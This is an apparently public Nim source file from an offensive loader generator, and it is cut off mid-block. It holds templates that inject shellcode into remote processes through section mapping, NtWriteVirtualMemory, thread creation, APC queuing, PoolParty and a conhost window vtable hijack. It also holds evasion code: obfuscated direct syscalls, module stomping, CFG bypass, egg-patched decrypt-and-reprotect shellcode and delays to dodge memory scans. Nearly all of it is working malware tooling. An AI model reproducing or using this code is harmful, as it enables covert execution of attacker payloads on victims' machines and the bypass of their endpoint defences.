Files
S3cur3Th1sSh1t 7998f8ce30 Add conhostinject
2024-06-22 19:52:15 +02:00

3293 lines
143 KiB
Nim

let ShellcodeRemoteInjectMapSection * = """
var pHandle2: HANDLE = -1 # Current Process Handle
var
oldProtection: DWORD = 0
status: NTSTATUS
success: BOOL
lpMapAddressRemote: PVOID = NULL
lpMapAddress: PVOID = NULL
when defined(SysWhispers):
when not defined(spawninject):
when not defined(conhostinject):
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
var highPrivHandle: HANDLE
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] DuplicateHandle: "), workedfine
tProcess = highPrivHandle
when defined(AllocateDripStyle):
lpMapAddressRemote = DripAllocate(HANDLE(tProcess), cast[SIZE_T](friendlycode.len), friendlycode)
if lpMapAddressRemote == nil:
when defined(verbose):
echo obf("[-] DripAllocation Failed")
quit(1)
else:
when defined(verbose):
echo obf("[+] DripAllocation Success!")
else:
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
# NtCreateSection Call
var
hMapFile: HANDLE
sSize: LARGE_INTEGER = cast[LARGE_INTEGER](sc_size)
status = iuhqdihasduiahsdaksdhak(&hMapFile,SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,NULL,&sSize,protectionValue,SEC_COMMIT,0)
when defined(verbose):
echo obf("[*] NtCreateSection: "), toHex(status)
var
vSize: SIZE_T = sc_size
# NtMapViewOfSection Call local
status = uihzasdbnqlpoasdlykxc(hMapFile,-1,&lpMapAddress,0,0,NULL,&vSize,2,0,PAGE_READWRITE)
when defined(verbose):
echo obf("[*] NtMapViewOfSection: "), toHex(status)
if (lpMapAddress == nil):
echo obf("[-] Failed to map view of file")
echo GetLastError()
echo obf("[*] Moving shellcode to memory...")
moveMemory(lpMapAddress, cast[pointer](unsafeAddr friendlycode), int(sc_size))
# Why did I use NtWrite here instead of local copy.. No one knows.
# var bytesWritten: SIZE_T
# NtWriteVirtualMemory Call
#status = oqiazasusjk(pHandle2,lpMapAddress,unsafeAddr friendlycode,sc_size,addr bytesWritten)
#when defined(verbose):
# echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
# echo obf(" \\-- bytes written: "), bytesWritten
# echo obf("")
# NtMapViewOfSection Call remote
when defined(RX):
protectionValue = PAGE_EXECUTE_READ
status = uihzasdbnqlpoasdlykxc(hMapFile,tProcess,&lpMapAddressRemote,0,0,NULL,&vSize,2,0,protectionValue)
if (lpMapAddressRemote == nil):
echo obf("[-] Failed to map view of file remote")
echo toHex(status)
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
ptrEncText = cast[ptr byte](lpMapAddress)
ptrDecText = cast[ptr byte](lpMapAddress)
decryptlate()
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,lpMapAddressRemote,NULL, FALSE, 0, 0, 0, NULL)
status = zuatzuastdiasyy(tHandle)
status = zuatzuastdiasyy(tProcess)
when defined(verbose):
echo success
else:
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
when not defined(spawninject): # We already got a Handle, no need to open it again. Only for existing processes.
when not defined(conhostinject):
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# duplicate handle to PROCESS_ALL_ACCESS
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
var highPrivHandle: HANDLE
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), status
tProcess = highPrivHandle
when defined(AllocateDripStyle):
lpMapAddressRemote = DripAllocate(HANDLE(tProcess), cast[SIZE_T](friendlycode.len), friendlycode)
if lpMapAddressRemote == nil:
when defined(verbose):
echo obf("[-] DripAllocation Failed")
quit(1)
else:
when defined(verbose):
echo obf("[+] DripAllocation Success!")
else:
when defined(Hellsgate):
if getSyscall(ntCreateSectionTable):
syscall = ntCreateSectionTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateSection")
# NtCreateSection Call
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
var
hMapFile: HANDLE
sSize: LARGE_INTEGER = cast[LARGE_INTEGER](sc_size)
status = NtCreateSection(&hMapFile,SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,NULL,&sSize,protectionValue,SEC_COMMIT,0)
when defined(verbose):
echo obf("[*] NtCreateSection: "), toHex(status)
if (hMapFile == 0):
echo obf("[-] Failed to create file mapping")
echo GetLastError()
when defined(Hellsgate):
if getSyscall(ntMapViewOfSectionTable):
syscall = ntMapViewOfSectionTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtMapViewOfSection")
var
vSize: SIZE_T = sc_size
status = NtMapViewOfSection(hMapFile,-1,&lpMapAddress,0,0,NULL,&vSize,2,0,PAGE_READWRITE)
when defined(verbose):
echo obf("[*] NtMapViewOfSection: "), toHex(status)
if (lpMapAddress == nil):
echo obf("[-] Failed to map view of file")
echo GetLastError()
echo obf("[*] Moving shellcode to memory...")
moveMemory(lpMapAddress, cast[pointer](unsafeAddr friendlycode), int(sc_size))
when defined(Hellsgate):
if getSyscall(ntMapViewOfSectionTable):
syscall = ntMapViewOfSectionTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtMapViewOfSection")
when defined(RX):
protectionValue = PAGE_EXECUTE_READ
status = NtMapViewOfSection(hMapFile,tProcess,&lpMapAddressRemote,0,0,NULL,&vSize,2,0,protectionValue)
if (lpMapAddressRemote == nil):
echo obf("[-] Failed to map view of file remote")
echo toHex(status)
when defined(QueueAPC):
# first create the sleep Thread before sleeping in between, because that could trigger memory scans
var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
when defined(AllocateDripStyle):
lpMapAddress = decryptbuffer
ptrEncText = cast[ptr byte](lpMapAddress)
ptrDecText = cast[ptr byte](lpMapAddress)
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
when defined(poolparty):
ExecutePoolparty(tProcess, lpMapAddressRemote)
return
when defined(QueueAPC):
when defined(Hellsgate):
if getSyscall(ntQueueApcThreadTable):
syscall = ntQueueApcThreadTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtQueueApcThread")
let pfnAPC : PKNORMAL_ROUTINE = cast[PKNORMAL_ROUTINE](lpMapAddressRemote)
#var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
decryptlate()
status = NtQueueApcThread(remoteThreadHandle, pfnAPC, lpMapAddressRemote, nil, nil)
when defined(verbose):
echo obf("[*] NtQueueApcThread: "), toHex(status)
#when defined(sleepinbetween):
# HowMuchTimeWouldYouLikeToSleep(5)
#Sleep(10)
#decryptlate()
else:
decryptlate()
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
tProcess,
lpMapAddressRemote,
NULL, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(lpMapAddressRemote)
injectCreateRemoteThread(enctext)
when not defined(proxy):
when defined(defaultMain):
when not defined(service):
when not defined(cloned):
when not defined(perfecthijack):
discard main(nil)
"""
let ShellcoderemoteinjectStub * = """
var pHandle2: HANDLE = -1 # Current Process Handle
var
oldProtection: DWORD = 0
status: NTSTATUS
success: BOOL
when defined(conhostinject):
var
udptr: LONG_PTR
pid, ppid: DWORD
wr: SIZE_T
cw: ConsoleWindow
dss: LPVOID
vTable: ULONG_PTR
#hwnd = FindWindowW("ConsoleWindowClass", nil)
#GetWindowThreadProcessId(hwnd, addr ppid)
let enumResult = EnumWindows(EnumWindowsProc, 0)
if not enumResult:
GetWindowThreadProcessId(hwnd, addr ppid)
pid = getConHostID(ppid)
if pid != 0:
when defined(verbose):
echo "[*] Found PID:", pid, "\n"
if pid == 0:
when defined(verbose):
echo "[*] Parent id is ", ppid, "\n [-] unable to obtain pid of conhost.exe\n"
return
else:
cid.UniqueProcess = pid
when defined(SysWhispers):
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# duplicate handle to PROCESS_ALL_ACCESS
var highPrivHandle: HANDLE
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] DuplicateHandle: "), workedfine
tProcess = highPrivHandle
else:
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), status
# duplicate handle to PROCESS_ALL_ACCESS
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
var highPrivHandle: HANDLE
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), toHex(status)
tProcess = highPrivHandle
when defined(SysWhispers):
when not defined(spawninject):
when not defined(conhostinject):
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), toHex(status)
# duplicate handle to PROCESS_ALL_ACCESS
var highPrivHandle: HANDLE
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] DuplicateHandle: "), workedfine
tProcess = highPrivHandle
when defined(AllocateDripStyle):
ds = DripAllocate(tProcess, cast[SIZE_T](friendlycode.len), friendlycode)
if ds == nil:
when defined(verbose):
echo obf("[-] DripAllocation Failed")
quit(1)
else:
when defined(verbose):
echo obf("[+] DripAllocation Success!")
else:
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
when defined(RX):
protectionValue = PAGE_READWRITE
when defined(RWX):
protectionValue = PAGE_EXECUTE_READWRITE
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,protectionValue)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status)
var bytesWritten: SIZE_T
ptrEncText = cast[ptr byte](addr encText[0])
ptrDecText = cast[ptr byte](addr decText[0])
decryptlate()
status = oqiazasusjk(tProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteProcessMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(verbose):
echo obf("[*] Going to clean local memory of decrypted shellcode")
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
when defined(verbose):
echo obf("[*] Done.")
when defined(JmpEntry):
var newEntry: LPVOID
newEntry = prepEntry(tProcess, ds, jmpMod, jmpFunc)
when defined(verbose):
echo obf("[*] New Entry Point: "), toHex(cast[HANDLE](newEntry)), "\r\n"
when defined(JmpEntry):
ds = newEntry
when defined(RX):
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
status = uashdiasdj(tProcess,&ds,&sc_size,PAGE_EXECUTE_READ,addr oldProtection)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
if (status == 0):
echo obf("[+] Permissions changed to PAGE_EXECUTE_READ"), repr(ds)
if(status != 0):
quit(1)
when not defined(RX):
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
when defined(conhostinject):
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA)
when defined(verbose):
echo "[*] GWLP_USERDATA : ", toHex(udptr), "\n"
ReadProcessMemory(tProcess, cast[LPVOID](udptr), cast[LPVOID](addr vTable), sizeof(ULONG_PTR), addr wr)
when defined(verbose):
echo "[*] Table : ", toHex(vTable), "\n"
ReadProcessMemory(tProcess, cast[LPVOID](vTable), cast[LPVOID](addr cw), sizeof(ConsoleWindow), addr wr)
dss = VirtualAllocEx(tProcess, nil, sizeof(ConsoleWindow), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
cw.GetWindowHandle = cast[uint64](ds)
WriteProcessMemory(tProcess, cast[LPVOID](dss), addr cw, sizeof(ConsoleWindow), addr wr)
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr dss, sizeof(ULONG_PTR), addr wr)
# Trigger execution
SendMessage(hwnd, WM_SETFOCUS, 0, 0)
# wait for e.G. Caro-Kann Trigger time
Sleep(20000)
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr vTable, sizeof(ULONG_PTR), addr wr)
VirtualFreeEx(tProcess, ds, 0, MEM_RELEASE)
VirtualFreeEx(tProcess, dss, 0, MEM_RELEASE)
CloseHandle(tProcess)
# exit program, as we finished
quit(0)
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,ds,NULL, FALSE, 0, 0, 0, NULL)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(ds)
when defined(JmpEntry):
Sleep(1000)
if(restoreBytes(tProcess, ds)):
when defined(verbose):
echo obf("[*] Restored bytes!")
else:
when defined(verbose):
echo obf("[-] Failed to restore bytes!")
status = zuatzuastdiasyy(tHandle)
status = zuatzuastdiasyy(tProcess)
else:
when defined(Hellsgate):
if getSyscall(ntOpenTable):
syscall = ntOpenTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtOpenProcess")
when not defined(spawninject):
when not defined(conhostinject):
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
when defined(verbose):
echo obf("[*] NtOpenProcess: "), status
# duplicate handle to PROCESS_ALL_ACCESS
when defined(Hellsgate):
if getSyscall(ntDuplicateTable):
syscall = ntDuplicateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtDuplicateObject")
var highPrivHandle: HANDLE
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
when defined(verbose):
echo obf("[*] NtDuplicateObject: "), toHex(status)
tProcess = highPrivHandle
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
when defined(RX):
protectionValue = PAGE_READWRITE
when defined(RWX):
protectionValue = PAGE_EXECUTE_READWRITE
when defined(AllocateDripStyle):
ds = DripAllocate(tProcess, cast[SIZE_T](friendlycode.len), friendlycode)
if ds == nil:
when defined(verbose):
echo obf("[-] DripAllocation Failed")
quit(1)
else:
when defined(verbose):
echo obf("[+] DripAllocation Success!")
else:
when defined(stomb):
when defined(verbose):
echo obf("\r\n[*] Injecting DLL: "), stombDll, " into the remote process"
when defined(logFile):
logVerbose(obf("[*] Injecting DLL \r\n"))
if(remoteLoadDll(DLLPATH, tProcess)):
when defined(verbose):
echo obf("[+] DLL injected successfully")
when defined(logFile):
logVerbose(obf("[+] DLL injected successfully\r\n"))
else:
when defined(verbose):
echo obf("[-] DLL injection failed")
when defined(logFile):
logVerbose(obf("[-] DLL injection failed\r\n"))
quit(1)
var module = GetRemoteModuleHandle(tProcess, stombDll)
when defined(verbose):
echo obf("[*] Using "), stombDll, obf(" .text section as shellcode buffer")
echo obf("[*] Found baseAddress at: "), repr(module)
when defined(logFile):
logVerbose(obf("[*] Found baseAddress at: ") & cast[string](repr(module)) & "\r\n")
# disable CFG for that modules .text section
discard evadeCFG(tProcess, (cast[PVOID](module) + 0x1000))
ds = GetRemoteProcAddress(tProcess, module, stombFunc)
rPtr2 = ds
when defined(verbose):
echo obf("[*] Found "), stombFunc, obf(" address at: "), repr(ds)
var allocationSize: SIZE_T = cast[SIZE_T](sc_size) + 0x1000
when defined(restore):
var textStart: LPVOID = cast[LPVOID](module) + 0x1000 # .text section always starts at this offset to the base address
var mbi: MEMORY_BASIC_INFORMATION
var sectionSize: SIZE_T = VirtualQueryEx(tProcess, textStart, addr mbi, sizeof(mbi))
when defined(verbose):
echo obf("[*] VirtualQueryEx result: "), sectionSize
echo obf("[*] Section size: "), mbi.RegionSize
var originalRXSection: seq[byte] = newSeq[byte](mbi.RegionSize)
var numberOfBytesRead: SIZE_T
when defined(Hellsgate):
if getSyscall(ntReadTable):
syscall = ntReadTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtReadVirtualMemory")
status = NtReadVirtualMemory(tProcess, textStart, unsafeAddr originalRXSection[0], mbi.RegionSize, addr numberOfBytesRead)
when defined(verbose):
if (status == 0):
echo obf("[+] ReadProcessMemory success!")
else:
echo obf("[-] Failed to read the original RX section")
quit(1)
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
var protAddress: LPVOID = ds
var oProtect: DWORD
status = NtProtectVirtualMemory(tProcess, addr protAddress, addr allocationSize, PAGE_READWRITE, addr oProtect)
when defined(logFile):
logVerbose(obf("[*] Buffer address: ") & cast[string](repr(ds)) & "\r\n")
logVerbose(obf("[*] NtProtectVirtualMemory RW for address: ") & cast[string](repr(protAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
when defined(verbose):
if (status == 0):
echo obf("[+] NtProtectVirtualMemory success! "), repr(protAddress)
else:
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protAddress)
quit(1)
echo "[*] Buffer address: ", repr(ds)
else:
status = NtAllocateVirtualMemory(tProcess, &ds, 0, &sc_size,MEM_COMMIT,protectionValue)
when defined(verbose):
echo obf("[*] NtAllocateVirtualMemory: "), status
when defined(logFile):
logVerbose(obf("[*] NtAllocateVirtualMemory: ") & cast[string](toHex(status)) & "\r\n")
var bytesWritten: SIZE_T
when defined(JmpEntry):
var newEntry: LPVOID
newEntry = prepEntry(tProcess, ds, jmpMod, jmpFunc)
when defined(verbose):
echo obf("[*] New Entry Point: "), toHex(cast[HANDLE](newEntry)), "\r\n"
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
when defined(QueueAPC):
# Do the Sleep Thread creation before decrypting, as that could lead to memory scans.
var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
when not defined(AllocateDripStyle):
ptrEncText = cast[ptr byte](addr encText[0])
ptrDecText = cast[ptr byte](addr decText[0])
decryptlate()
status = NtWriteVirtualMemory(
tProcess,
ds,
unsafeAddr friendlycode,
sc_size-1,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), status
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(verbose):
echo obf("[*] Going to clean local memory of decrypted shellcode")
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
when defined(verbose):
echo obf("[*] Done.")
when defined(logFile):
logVerbose(obf("[*] NtWriteVirtualMemory: ") & cast[string](toHex(status)) & "\r\n")
logVerbose(obf(" \\-- bytes written: ") & cast[string](bytesWritten) & "\r\n")
logVerbose("\r\n")
when not defined(carokann):
when defined(RX):
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
when defined(stomb):
sc_size = sc_size + 0x1000
status = NtProtectVirtualMemory(tProcess, &ds, &sc_size, PAGE_EXECUTE_READ, addr oldProtection)
when defined(verbose):
echo obf("[*] NtProtectVirtualMemory: "), status
if (status == 0):
echo obf("[+] Permissions changed to PAGE_EXECUTE_READ")
if(status != 0):
quit(1)
when not defined(RX):
when defined(sleepinbetween):
when defined(verbose):
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
when defined(carokann):
when not defined(stomb):
var rPtr2: LPVOID
var protectAddress: LPVOID = ds
var oldProtect: DWORD
when defined(JmpEntry):
var tempdsAddress = ds
ds = newEntry
const hookShellcode = slurp"decryptprotect.bin.tmp"
var hookShellcodeBytes: seq[byte] = toByteSeq(hookShellcode)
var hook_sc_size: SIZE_T = cast[SIZE_T](hookShellcodeBytes.len)
#var rPtr2: LPVOID
when defined(verbose):
echo obf("[*] Allocating memory for our custom shellcode, which will decrypt and re-protect")
when defined(logFile):
logVerbose(obf("[*] Allocating memory for our custom shellcode, which will decrypt and re-protect\r\n"))
when defined(stomb):
when defined(verbose):
echo obf("[*] Using "), stombDll, obf(" .text section as shellcode buffer")
echo obf("[*] Found baseAddress at: "), repr(rPtr2)
#rPtr2 = getTextSectionStart(rPtr2)
rPtr2 = GetRemoteProcAddress(tProcess, module, stombFunc2)
#rPtr2 = rPtr2
when defined(verbose):
echo obf("[*] Found "), stombFunc2, obf(" address at: "), repr(rPtr2)
when defined(logFile):
logVerbose(obf("[*] Found baseAddress at: ") & cast[string](repr(rPtr2)) & "\r\n")
logVerbose(obf("[*] Found ") & cast[string](stombFunc2) & obf(" address at: ") & cast[string](repr(rPtr2)) & "\r\n")
protectAddress = rPtr2
# as the function won't start at the section start, the protectAddress will have an
# offset to the address where we write the shellcode later on. This could lead to a problem,
# if the shellcode is too big and the function is not at the end of the section.
# So we need to calculate the difference between the section start and the function start and may need to protect one more section
# Or we just allocate one more 4kB page so make sure the offset is no problem
var allocateSize: SIZE_T = cast[SIZE_T](hookShellcodeBytes.len) + 0x1000
when defined(Hellsgate):
if getSyscall(ntProtectTable):
syscall = ntProtectTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, PAGE_READWRITE, addr oldProtect)
when defined(logFile):
logVerbose(obf("[*] NtProtectVirtualMemory RW for address: ") & cast[string](repr(protectAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
when defined(verbose):
if (status == 0):
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
else:
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
quit(1)
else:
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
status = NtAllocateVirtualMemory(
tProcess,
addr rPtr2,
0,
addr hook_sc_size,
MEM_COMMIT or MEM_RESERVE,
PAGE_READWRITE)
when defined(logFile):
logVerbose(obf("[*] NtAllocateVirtualMemory for Caro-Kann shellcode: ") & cast[string](toHex(status)) & "\r\n")
when defined(verbose):
if (status == 0):
echo obf("[+] NtAllocateVirtualMemory for Caro-Kann shellcode success "), repr(rPtr2)
else:
echo obf("[-] NtAllocateVirtualMemory for Caro-Kann shellcode failed "), repr(rPtr2)
quit(1)
# The shellcode contains two eggs, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88 and 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x41, 0xFF, 0xD2. Now we want to replace the first egg with the value of
# the newly allocated memory address rptr, and we also want to replace the 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 with the address of the newly allocated memory address
var eggIndex = 0
when defined(verbose):
echo obf("-------------------------------------------------------------")
echo obf("[*] Looking for the egg, which will be filled with the first shellcodes memory address"), repr(ds)
for i in 0 ..< hookShellcodeBytes.len:
if (hookShellcodeBytes[i] == 0x88) and (hookShellcodeBytes[i+1] == 0x88) and (hookShellcodeBytes[i+2] == 0x88) and (hookShellcodeBytes[i+3] == 0x88) and (hookShellcodeBytes[i+4] == 0x88) and (hookShellcodeBytes[i+5] == 0x88):
when defined(verbose):
echo obf("[*] Found egg at index: "), i
eggIndex = i
when defined(verbose):
echo obf("[*] Writing allocated memory address into egg")
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
when defined(verbose):
echo obf("[*] Done.")
break
# and we also want to replace the 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 with the address of the newly allocated memory address
when defined(verbose):
echo obf("-------------------------------------------------------------")
echo obf("[*] Looking for the second egg, which will be filled the same address but to jump there at the end")
eggIndex = 0
for i in 0 ..< hookShellcodeBytes.len:
if (hookShellcodeBytes[i] == 0x49) and (hookShellcodeBytes[i+1] == 0xBA) and (hookShellcodeBytes[i+2] == 0x00) and (hookShellcodeBytes[i+3] == 0x00) and (hookShellcodeBytes[i+4] == 0x00) and (hookShellcodeBytes[i+5] == 0x00) and (hookShellcodeBytes[i+6] == 0x00) and (hookShellcodeBytes[i+7] == 0x00) and (hookShellcodeBytes[i+8] == 0x00) and (hookShellcodeBytes[i+9] == 0x00) and (hookShellcodeBytes[i+10] == 0x41) and (hookShellcodeBytes[i+11] == 0xFF) and (hookShellcodeBytes[i+12] == 0xD2):
when defined(verbose):
echo obf("[*] Found egg at index: "), i
# our 0x00 bytes start at position three, so we need to add three to the index
eggIndex = i + 2
when defined(verbose):
echo obf("[*] Writing memory address into the jump at the end")
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
break
eggIndex = 0
for i in 0 ..< hookShellcodeBytes.len:
if (hookShellcodeBytes[i] == 0x49) and (hookShellcodeBytes[i+1] == 0xBA) and (hookShellcodeBytes[i+2] == 0x00) and (hookShellcodeBytes[i+3] == 0x00) and (hookShellcodeBytes[i+4] == 0x00) and (hookShellcodeBytes[i+5] == 0x00) and (hookShellcodeBytes[i+6] == 0x00) and (hookShellcodeBytes[i+7] == 0x00) and (hookShellcodeBytes[i+8] == 0x00) and (hookShellcodeBytes[i+9] == 0x00) and (hookShellcodeBytes[i+10] == 0x41) and (hookShellcodeBytes[i+11] == 0xFF) and (hookShellcodeBytes[i+12] == 0xE2):
when defined(verbose):
echo obf("[*] Found egg at index: "), i
# our 0x00 bytes start at position three, so we need to add three to the index
eggIndex = i + 2
when defined(verbose):
echo obf("[*] Writing memory address into the jump at the end")
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
break
# There is another egg, 0xDE, 0xAD, 0x10, 0xAF - which we want to find and replace with the length of the first shellcode (calc64enc.bin)
when defined(stomb):
# We need to find and overwrite the egg 0x9999999999999999 with the address of the protectAddress, so that our shellcode knows where to re-protect
eggIndex = 0
when defined(verbose):
echo obf("-------------------------------------------------------------")
echo obf("[*] Looking for the fifth egg, which will be filled with the address of the memory address to re-protect")
for i in 0 ..< hookShellcodeBytes.len:
if (hookShellcodeBytes[i] == 0x99) and (hookShellcodeBytes[i+1] == 0x99) and (hookShellcodeBytes[i+2] == 0x99) and (hookShellcodeBytes[i+3] == 0x99) and (hookShellcodeBytes[i+4] == 0x99) and (hookShellcodeBytes[i+5] == 0x99) and (hookShellcodeBytes[i+6] == 0x99) and (hookShellcodeBytes[i+7] == 0x99):
when defined(verbose):
echo obf("[*] Found egg at index: "), i
eggIndex = i
when defined(verbose):
echo obf("[*] Writing memory address into the egg "), repr(protectAddress)
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr protectAddress, 8)
break
# Finally write the decryptprotect.bin shellcode into the remote process
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
when defined(logFile):
logVerbose(obf("[*] Writing Caro-Kann shellcode into remote process rPtr2 address: ") & cast[string](repr(rPtr2)) & "\r\n")
status = NtWriteVirtualMemory(tProcess, rPtr2, unsafeAddr hookShellcodeBytes[0], hook_sc_size, addr bytesWritten)
when defined(logFile):
logVerbose(obf("[*] NtWriteVirtualMemory for Caro-Kann shellcode success! ") & cast[string](repr(rPtr2)) & "\r\n")
if (status == 0):
when defined(verbose):
